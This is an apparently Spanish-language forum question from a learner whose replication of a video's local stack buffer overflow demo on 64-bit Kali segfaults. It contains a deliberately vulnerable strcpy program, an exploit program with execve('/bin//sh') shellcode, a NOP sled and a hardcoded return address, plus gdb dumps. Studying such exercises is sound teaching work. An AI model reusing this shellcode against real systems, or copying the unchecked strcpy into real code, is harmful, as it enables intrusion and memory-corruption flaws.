Estoy revisando este video sobre desbordamientos de búfer, pero tengo algunos problemas para replicar la demostración. El problema es que obtengo un error de segmentación cuando espero obtener un shell al final.
La idea es que el programa HackYou
ejecuta un shell y luego estoy ejecutando el vulnerable 'ExploitMe con GDB en ese shell.
Estoy ejecutando esto en un entorno de Kali Linux Virtualbox de 64 bits con la asignación aleatoria de memoria desactivada.
Por lo que puedo decir, todo mi código coincide con la demostración.
Una cosa que he notado sin embargo es esto. %código%. En el código de demostración, el tamaño de la variable del búfer es 0x0000000000001139 <+4>: sub $0x60,%rsp
.
96 bytes frente a 80 bytes.
Por lo que entiendo, la dirección de retorno deseada debe ser, 0x50
.
Puedo ver el código de shell que se está introduciendo en la pila y puedo ver la nueva dirección de devolución como se espera. Pero no estoy seguro de qué es lo que impide que se ejecute según lo previsto y genere un shell dentro de GDB.
0x7fffffffe060
#include<stdio.h>
#include<string.h>
main(int argc, char **argv)
{
char buffer[80];
strcpy(buffer, argv[1]);
return 1;
}
ExploitMe.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x89\xe3"
"\x99"
"\x52"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80"
;
char retaddr[] = "\x60\xe0\xff\xff\xff\x7f";
#define NOP 0x90
main()
{
char buffer[96];
memset(buffer, NOP, 96);
memcpy(buffer, "EGG=", 4);
memcpy(buffer+4, shellcode, 24);
memcpy(buffer+88, retaddr, 4);
memcpy(buffer+92, "\x00\x00\x00\x00", 4);
putenv(buffer);
system("/bin/sh");
return 0;
}
HackYou.c
Dump of assembler code for function main:
0x0000000000001135 <+0>: push %rbp
0x0000000000001136 <+1>: mov %rsp,%rbp
0x0000000000001139 <+4>: sub $0x60,%rsp
0x000000000000113d <+8>: mov %edi,-0x54(%rbp)
0x0000000000001140 <+11>: mov %rsi,-0x60(%rbp)
0x0000000000001144 <+15>: mov -0x60(%rbp),%rax
0x0000000000001148 <+19>: add $0x8,%rax
0x000000000000114c <+23>: mov (%rax),%rdx
0x000000000000114f <+26>: lea -0x50(%rbp),%rax
0x0000000000001153 <+30>: mov %rdx,%rsi
0x0000000000001156 <+33>: mov %rax,%rdi
0x0000000000001159 <+36>: callq 0x1030 <strcpy@plt>
0x000000000000115e <+41>: mov $0x1,%eax
0x0000000000001163 <+46>: leaveq
0x0000000000001164 <+47>: retq
End of assembler dump.
disas main
(gdb) x/24xw $rsp
0x7fffffffe060: 0xffffe1a8 0x00007fff 0xffffe096 0x00000002
0x7fffffffe070: 0x00000001 0x00000000 0xf7e939b5 0x00007fff
0x7fffffffe080: 0x00000000 0x00000000 0x555551bd 0x00005555
0x7fffffffe090: 0xf7fe42a0 0x00007fff 0x00000000 0x00000000
0x7fffffffe0a0: 0x55555170 0x00005555 0x55555050 0x00005555
0x7fffffffe0b0: 0xffffe1a0 0x00007fff 0x00000000 0x00000000
(gdb) c
Continuing.
(gdb) x/24xw argv[1]
0x7fffffffe4c4: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
0x7fffffffe4d4: 0xe1895352 0x80cd0bb0 0x90909090 0x90909090
0x7fffffffe4e4: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe4f4: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe504: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe514: 0x90909090 0xffffe060 0x5f534c00 0x4f4c4f43
(gdb) x/40xw $rsp
0x7fffffffe060: 0xffffe1a8 0x00007fff 0xffffe096 0x00000002
0x7fffffffe070: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
0x7fffffffe080: 0xe1895352 0x80cd0bb0 0x90909090 0x90909090
0x7fffffffe090: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe0a0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe0b0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe0c0: 0x90909090 0xffffe060 0xf7e14b00 0x00007fff
0x7fffffffe0d0: 0x00000000 0x00000000 0xffffe1a8 0x00007fff
0x7fffffffe0e0: 0x00040000 0x00000002 0x55555135 0x00005555
0x7fffffffe0f0: 0x00000000 0x00000000 0x12e5cd41 0xd8327cdb
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e14b0d in __libc_start_main (main=0x555555555135 <main>, argc=2, argv=0x7fffffffe1a8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe198) at ../csu/libc-start.c:310
310 ../csu/libc-start.c: No such file or directory.